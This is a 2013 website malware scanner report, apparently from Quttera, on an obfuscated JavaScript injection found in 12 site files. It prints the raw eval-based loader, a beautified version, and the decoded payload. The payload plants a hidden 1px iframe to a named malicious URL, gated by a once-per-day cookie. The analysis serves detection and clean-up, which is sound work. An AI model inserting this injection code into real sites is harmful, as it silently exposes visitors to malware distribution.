Scheduled hidden iframe injection redirects to malicious website

Scheduled to infect unique visitors hidden iframe injection 

Background

Online Website Malware Scanner has identified malicious JavaScript code injection in the scanned website. Such malicious obfuscated JavaScript code is used to build iframe, invisible to the website user, which downloads content from remote malware distributor. This infected website hosts suspicious JavaScript code injected in 12 files. This iframe is "scheduled" to be injected for once in 24 hrs. period for the same victim. Presumably, to make correct tracking of the malicious traffic.We already encounter such techniques, like in an example here used to improve the SEO rankings. 

Malicious action

Malicious iframes are often used to distribute malware hosted on external web resources(websites).

Website malware scanner report

Submission date: Mon May 6 13:24:20 2013
Infected website's files: 12
Website malware scan report link: http://goo.gl/kAwB0

Quttera | Online Website Malware Scanner

Quttera sitescan report | 12 website pages infected with malicious JavaScript 

Threat dump:

[[                                                                                                                                                                                                                                                          aq="0x";ff=String;ff=ff.fromCharCode;zz=3;try{document.body^=~1;}catch(z1z1){v=123;vzs=0;try{document;}catch(q){vzs=1;}if(!vzs)e=eval;if(1){f="5e,6d,66,5b,6c,61,67,66,18,72,72,72,5e,5e,5e,20,21,18,73,5,2,18,18,18,18,6e,59,6a,18,59,65,5e,60,60,18,35,18,5c,67,5b,6d,65,5d,66,6c,26,5b,6a,5d,59,6c,5d,3d,64,5d,65,5d,66,6c,20,1f,61,5e,6a,59,65,5d,1f,21,33,5,2,5,2,18,18,18,18,59,65,5e,60,60,26,6b,6a,5b,18,35,18,1f,60,6c,6c,68,32,27,27,5a,5d,6a,66,61,5d,65,6d,6b,61,5b,26,5b,67,65,27,5a,5d,6a,66,61,5d,27,5b,64,61,63,26,68,60,68,1f,33,5,2,18,18,18,18,59,65,5e,60,60,26,6b,6c,71,64,5d,26,68,67,6b,61,6c,61,67,66,18,35,18,1f,59,5a,6b,67,64,6d,6c,5d,1f,33,5,2,18,18,18,18,59,65,5e,60,60,26,6b,6c,71,64,5d,26,5a,67,6a,5c,5d,6a,18,35,18,1f,28,1f,33,5,2,18,18,18,18,59,65,5e,60,60,26,6b,6c,71,64,5d,26,60,5d,61,5f,60,6c,18,35,18,1f,29,68,70,1f,33,5,2,18,18,18,18,59,65,5e,60,60,26,6b,6c,71,64,5d,26,6f,61,5c,6c,60,18,35,18,1f,29,68,70,1f,33,5,2,18,18,18,18,59,65,5e,60,60,26,6b,6c,71,64,5d,26,64,5d,5e,6c,18,35,18,1f,29,68,70,1f,33,5,2,18,18,18,18,59,65,5e,60,60,26,6b,6c,71,64,5d,26,6c,67,68,18,35,18,1f,29,68,70,1f,33,5,2,5,2,18,18,18,18,61,5e,18,20,19,5c,67,5b,6d,65,5d,66,6c,26,5f,5d,6c,3d,64,5d,65,5d,66,6c,3a,71,41,5c,20,1f,59,65,5e,60,60,1f,21,21,18,73,5,2,18,18,18,18,18,18,18,18,5c,67,5b,6d,65,5d,66,6c,26,6f,6a,61,6c,5d,20,1f,34,5c,61,6e,18,61,5c,35,54,1f,59,65,5e,60,60,54,1f,36,34,27,5c,61,6e,36,1f,21,33,5,2,18,18,18,18,18,18,18,18,5c,67,5b,6d,65,5d,66,6c,26,5f,5d,6c,3d,64,5d,65,5d,66,6c,3a,71,41,5c,20,1f,59,65,5e,60,60,1f,21,26,59,68,68,5d,66,5c,3b,60,61,64,5c,20,59,65,5e,60,60,21,33,5,2,18,18,18,18,75,5,2,75,5,2,5e,6d,66,5b,6c,61,67,66,18,4b,5d,6c,3b,67,67,63,61,5d,20,5b,67,67,63,61,5d,46,59,65,5d,24,5b,67,67,63,61,5d,4e,59,64,6d,5d,24,66,3c,59,71,6b,24,68,59,6c,60,21,18,73,5,2,18,6e,59,6a,18,6c,67,5c,59,71,18,35,18,66,5d,6f,18,3c,59,6c,5d,20,21,33,5,2,18,6e,59,6a,18,5d,70,68,61,6a,5d,18,35,18,66,5d,6f,18,3c,59,6c,5d,20,21,33,5,2,18,61,5e,18,20,66,3c,59,71,6b,35,35,66,6d,64,64,18,74,74,18,66,3c,59,71,6b,35,35,28,21,18,66,3c,59,71,6b,35,29,33,5,2,18,5d,70,68,61,6a,5d,26,6b,5d,6c,4c,61,65,5d,20,6c,67,5c,59,71,26,5f,5d,6c,4c,61,65,5d,20,21,18,23,18,2b,2e,28,28,28,28,28,22,2a,2c,22,66,3c,59,71,6b,21,33,5,2,18,5c,67,5b,6d,65,5d,66,6c,26,5b,67,67,63,61,5d,18,35,18,5b,67,67,63,61,5d,46,59,65,5d,23,1a,35,1a,23,5d,6b,5b,59,68,5d,20,5b,67,67,63,61,5d,4e,59,64,6d,5d,21,5,2,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,23,18,1a,33,5d,70,68,61,6a,5d,6b,35,1a,18,23,18,5d,70,68,61,6a,5d,26,6c,67,3f,45,4c,4b,6c,6a,61,66,5f,20,21,18,23,18,20,20,68,59,6c,60,21,18,37,18,1a,33,18,68,59,6c,60,35,1a,18,23,18,68,59,6c,60,18,32,18,1a,1a,21,33,5,2,75,5,2,5e,6d,66,5b,6c,61,67,66,18,3f,5d,6c,3b,67,67,63,61,5d,20,18,66,59,65,5d,18,21,18,73,5,2,18,6e,59,6a,18,6b,6c,59,6a,6c,18,35,18,5c,67,5b,6d,65,5d,66,6c,26,5b,67,67,63,61,5d,26,61,66,5c,5d,70,47,5e,20,18,66,59,65,5d,18,23,18,1a,35,1a,18,21,33,5,2,18,6e,59,6a,18,64,5d,66,18,35,18,6b,6c,59,6a,6c,18,23,18,66,59,65,5d,26,64,5d,66,5f,6c,60,18,23,18,29,33,5,2,18,61,5e,18,20,18,20,18,19,6b,6c,59,6a,6c,18,21,18,1e,1e,5,2,18,20,18,66,59,65,5d,18,19,35,18,5c,67,5b,6d,65,5d,66,6c,26,5b,67,67,63,61,5d,26,6b,6d,5a,6b,6c,6a,61,66,5f,20,18,28,24,18,66,59,65,5d,26,64,5d,66,5f,6c,60,18,21,18,21,18,21,5,2,18,73,5,2,18,6a,5d,6c,6d,6a,66,18,66,6d,64,64,33,5,2,18,75,5,2,18,61,5e,18,20,18,6b,6c,59,6a,6c,18,35,35,18,25,29,18,21,18,6a,5d,6c,6d,6a,66,18,66,6d,64,64,33,5,2,18,6e,59,6a,18,5d,66,5c,18,35,18,5c,67,5b,6d,65,5d,66,6c,26,5b,67,67,63,61,5d,26,61,66,5c,5d,70,47,5e,20,18,1a,33,1a,24,18,64,5d,66,18,21,33,5,2,18,61,5e,18,20,18,5d,66,5c,18,35,35,18,25,29,18,21,18,5d,66,5c,18,35,18,5c,67,5b,6d,65,5d,66,6c,26,5b,67,67,63,61,5d,26,64,5d,66,5f,6c,60,33,5,2,18,6a,5d,6c,6d,6a,66,18,6d,66,5d,6b,5b,59,68,5d,20,18,5c,67,5b,6d,65,5d,66,6c,26,5b,67,67,63,61,5d,26,6b,6d,5a,6b,6c,6a,61,66,5f,20,18,64,5d,66,24,18,5d,66,5c,18,21,18,21,33,5,2,75,5,2,61,5e,18,20,66,59,6e,61,5f,59,6c,67,6a,26,5b,67,67,63,61,5d,3d,66,59,5a,64,5d,5c,21,5,2,73,5,2,61,5e,20,3f,5d,6c,3b,67,67,63,61,5d,20,1f,6e,61,6b,61,6c,5d,5c,57,6d,69,1f,21,35,35,2d,2d,21,73,75,5d,64,6b,5d,73,4b,5d,6c,3b,67,67,63,61,5d,20,1f,6e,61,6b,61,6c,5d,5c,57,6d,69,1f,24,18,1f,2d,2d,1f,24,18,1f,29,1f,24,18,1f,27,1f,21,33,5,2,5,2,72,72,72,5e,5e,5e,20,21,33,5,2,75,5,2,75"["split"](",");}w=f;s=[];if(window.document)for(i=2-2;-i+1405!=0;i+=1){j=i;if((031==0x19))if(e)s=s+ff(e(aq+(w[j]))+8);}xz=e;if(window.document)xz(s)}]]

Malware entry

Malware entry details.

Beautified script

1. aq = "0x";
2. ff = String;
3. ff = ff.fromCharCode;
4. zz = 3;
5. try {
6.     document.body ^= ~1;
7. } catch (z1z1) {
8.     v = 123;
9.     vzs = 0;
10.     try {
11.         document;
12.     } catch (q) {
13.         vzs = 1;
14.     }
15.     if (!vzs) e = eval;
16.     if (1) {
17.         f ="5e,6d,66,5b,6c,61,67,66,18,72,72,72,5e,5e,5e,20,21,18,73,5,2,18,18,18,18,6e,59,6a,18,59,65,5e,60,60,18,35,18,5c,67,5b,6d,65,5d,66,6c,26,5b,6a,5d,59,6c,5d,3d,64,5d,65,5d,66,6c,20,1f,61,5e,6a,59,65,5d,1f,21,33,5,2,5,2,18,18,18,18,59,65,5e,60,60,26,6b,6a,5b,18,35,18,1f,60,6c,6c,68,32,27,27,5a,5d,6a,66,61,5d,65,6d,6b,61,5b,26,5b,67,65,27,5a,5d,6a,66,61,5d,27,5b,64,61,63,26,68,60,68,1f,33,5,2,18,18,18,18,59,65,5e,60,60,26,6b,6c,71,64,5d,26,68,67,6b,61,6c,61,67,66,18,35,18,1f,59,5a,6b,67,64,6d,6c,5d,1f,33,5,2,18,18,18,18,59,65,5e,60,60,26,6b,6c,71,64,5d,26,5a,67,6a,5c,5d,6a,18,35,18,1f,28,1f,33,5,2,18,18,18,18,59,65,5e,60,60,26,6b,6c,71,64,5d,26,60,5d,61,5f,60,6c,18,35,18,1f,29,68,70,1f,33,5,2,18,18,18,18,59,65,5e,60,60,26,6b,6c,71,64,5d,26,6f,61,5c,6c,60,18,35,18,1f,29,68,70,1f,33,5,2,18,18,18,18,59,65,5e,60,60,26,6b,6c,71,64,5d,26,64,5d,5e,6c,18,35,18,1f,29,68,70,1f,33,5,2,18,18,18,18,59,65,5e,60,60,26,6b,6c,71,64,5d,26,6c,67,68,18,35,18,1f,29,68,70,1f,33,5,2,5,2,18,18,18,18,61,5e,18,20,19,5c,67,5b,6d,65,5d,66,6c,26,5f,5d,6c,3d,64,5d,65,5d,66,6c,3a,71,41,5c,20,1f,59,65,5e,60,60,1f,21,21,18,73,5,2,18,18,18,18,18,18,18,18,5c,67,5b,6d,65,5d,66,6c,26,6f,6a,61,6c,5d,20,1f,34,5c,61,6e,18,61,5c,35,54,1f,59,65,5e,60,60,54,1f,36,34,27,5c,61,6e,36,1f,21,33,5,2,18,18,18,18,18,18,18,18,5c,67,5b,6d,65,5d,66,6c,26,5f,5d,6c,3d,64,5d,65,5d,66,6c,3a,71,41,5c,20,1f,59,65,5e,60,60,1f,21,26,59,68,68,5d,66,5c,3b,60,61,64,5c,20,59,65,5e,60,60,21,33,5,2,18,18,18,18,75,5,2,75,5,2,5e,6d,66,5b,6c,61,67,66,18,4b,5d,6c,3b,67,67,63,61,5d,20,5b,67,67,63,61,5d,46,59,65,5d,24,5b,67,67,63,61,5d,4e,59,64,6d,5d,24,66,3c,59,71,6b,24,68,59,6c,60,21,18,73,5,2,18,6e,59,6a,18,6c,67,5c,59,71,18,35,18,66,5d,6f,18,3c,59,6c,5d,20,21,33,5,2,18,6e,59,6a,18,5d,70,68,61,6a,5d,18,35,18,66,5d,6f,18,3c,59,6c,5d,20,21,33,5,2,18,61,5e,18,20,66,3c,59,71,6b,35,35,66,6d,64,64,18,74,74,18,66,3c,59,71,6b,35,35,28,21,18,66,3c,59,71,6b,35,29,33,5,2,18,5d,70,68,61,6a,5d,26,6b,5d,6c,4c,61,65,5d,20,6c,67,5c,59,71,26,5f,5d,6c,4c,61,65,5d,20,21,18,23,18,2b,2e,28,28,28,28,28,22,2a,2c,22,66,3c,59,71,6b,21,33,5,2,18,5c,67,5b,6d,65,5d,66,6c,26,5b,67,67,63,61,5d,18,35,18,5b,67,67,63,61,5d,46,59,65,5d,23,1a,35,1a,23,5d,6b,5b,59,68,5d,20,5b,67,67,63,61,5d,4e,59,64,6d,5d,21,5,2,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,23,18,1a,33,5d,70,68,61,6a,5d,6b,35,1a,18,23,18,5d,70,68,61,6a,5d,26,6c,67,3f,45,4c,4b,6c,6a,61,66,5f,20,21,18,23,18,20,20,68,59,6c,60,21,18,37,18,1a,33,18,68,59,6c,60,35,1a,18,23,18,68,59,6c,60,18,32,18,1a,1a,21,33,5,2,75,5,2,5e,6d,66,5b,6c,61,67,66,18,3f,5d,6c,3b,67,67,63,61,5d,20,18,66,59,65,5d,18,21,18,73,5,2,18,6e,59,6a,18,6b,6c,59,6a,6c,18,35,18,5c,67,5b,6d,65,5d,66,6c,26,5b,67,67,63,61,5d,26,61,66,5c,5d,70,47,5e,20,18,66,59,65,5d,18,23,18,1a,35,1a,18,21,33,5,2,18,6e,59,6a,18,64,5d,66,18,35,18,6b,6c,59,6a,6c,18,23,18,66,59,65,5d,26,64,5d,66,5f,6c,60,18,23,18,29,33,5,2,18,61,5e,18,20,18,20,18,19,6b,6c,59,6a,6c,18,21,18,1e,1e,5,2,18,20,18,66,59,65,5d,18,19,35,18,5c,67,5b,6d,65,5d,66,6c,26,5b,67,67,63,61,5d,26,6b,6d,5a,6b,6c,6a,61,66,5f,20,18,28,24,18,66,59,65,5d,26,64,5d,66,5f,6c,60,18,21,18,21,18,21,5,2,18,73,5,2,18,6a,5d,6c,6d,6a,66,18,66,6d,64,64,33,5,2,18,75,5,2,18,61,5e,18,20,18,6b,6c,59,6a,6c,18,35,35,18,25,29,18,21,18,6a,5d,6c,6d,6a,66,18,66,6d,64,64,33,5,2,18,6e,59,6a,18,5d,66,5c,18,35,18,5c,67,5b,6d,65,5d,66,6c,26,5b,67,67,63,61,5d,26,61,66,5c,5d,70,47,5e,20,18,1a,33,1a,24,18,64,5d,66,18,21,33,5,2,18,61,5e,18,20,18,5d,66,5c,18,35,35,18,25,29,18,21,18,5d,66,5c,18,35,18,5c,67,5b,6d,65,5d,66,6c,26,5b,67,67,63,61,5d,26,64,5d,66,5f,6c,60,33,5,2,18,6a,5d,6c,6d,6a,66,18,6d,66,5d,6b,5b,59,68,5d,20,18,5c,67,5b,6d,65,5d,66,6c,26,5b,67,67,63,61,5d,26,6b,6d,5a,6b,6c,6a,61,66,5f,20,18,64,5d,66,24,18,5d,66,5c,18,21,18,21,33,5,2,75,5,2,61,5e,18,20,66,59,6e,61,5f,59,6c,67,6a,26,5b,67,67,63,61,5d,3d,66,59,5a,64,5d,5c,21,5,2,73,5,2,61,5e,20,3f,5d,6c,3b,67,67,63,61,5d,20,1f,6e,61,6b,61,6c,5d,5c,57,6d,69,1f,21,35,35,2d,2d,21,73,75,5d,64,6b,5d,73,4b,5d,6c,3b,67,67,63,61,5d,20,1f,6e,61,6b,61,6c,5d,5c,57,6d,69,1f,24,18,1f,2d,2d,1f,24,18,1f,29,1f,24,18,1f,27,1f,21,33,5,2,5,2,72,72,72,5e,5e,5e,20,21,33,5,2,75,5,2,75"["split"](",");
18.     }
19.     w = f;
20.     s = [];
21.     if (window.document) for (i = 2 - 2; - i + 1405 != 0; i += 1) {
22.             j = i;
23.             if ((031 == 0x19)) if (e) s = s + ff(e(aq + (w[j])) + 8);
24.     }
25.     xz = e;
26.     if (window.document) xz(s)
27. }

Malicious payload

Decoded payload generates unique visitors traffic to http://berniemusic.com/bernie/clik.php

1. function zzzfff() {
3.     var amfhh = document.createElement('iframe');
4.     amfhh.src = 'http://berniemusic.com/bernie/clik.php';
5.     amfhh.style.position = 'absolute';
6.     amfhh.style.border = '0';
7.     amfhh.style.height = '1px';
8.     amfhh.style.width = '1px';
9.     amfhh.style.left = '1px';
10.     amfhh.style.top = '1px';
11.     if (!document.getElementById('amfhh')) {
12.         document.write('<div id=\'amfhh\'></div>');
13.         document.getElementById('amfhh').appendChild(amfhh);
14.     }
15. }
17. function SetCookie(cookieName, cookieValue, nDays, path) {
18.     var today = new Date();
19.     var expire = new Date();
20.     if (nDays == null || nDays == 0) nDays = 1;
21.     expire.setTime(today.getTime() + 3600000 * 24 * nDays);
22.     document.cookie = cookieName + "=" + escape(cookieValue)
23.     + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
25. }
27. function GetCookie(name) {
28.     var start = document.cookie.indexOf(name + "=");
29.     var len = start + name.length + 1;
30.     if ((!start) &&
31.     (name != document.cookie.substring(0, name.length)))
32.     {
33.         return null;
34.     }
35.     if (start == -1) return null;
36.     var end = document.cookie.indexOf(";", len);
37.     if (end == -1) end = document.cookie.length;
38.     return unescape(document.cookie.substring(len, end));
39. }
41. if (navigator.cookieEnabled)
42. {
43.     if (GetCookie('visited_uq') == 55) {} else {
44.         SetCookie('visited_uq', '55', '1', '/');
45.         zzzfff();
46.     }
47. }

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Malware clean-up

Such malware is often hidden inside the JavaScript file. If you suspect that your website was infected by similar malware please use Website Anti-malware Monitoring for remediation assessment.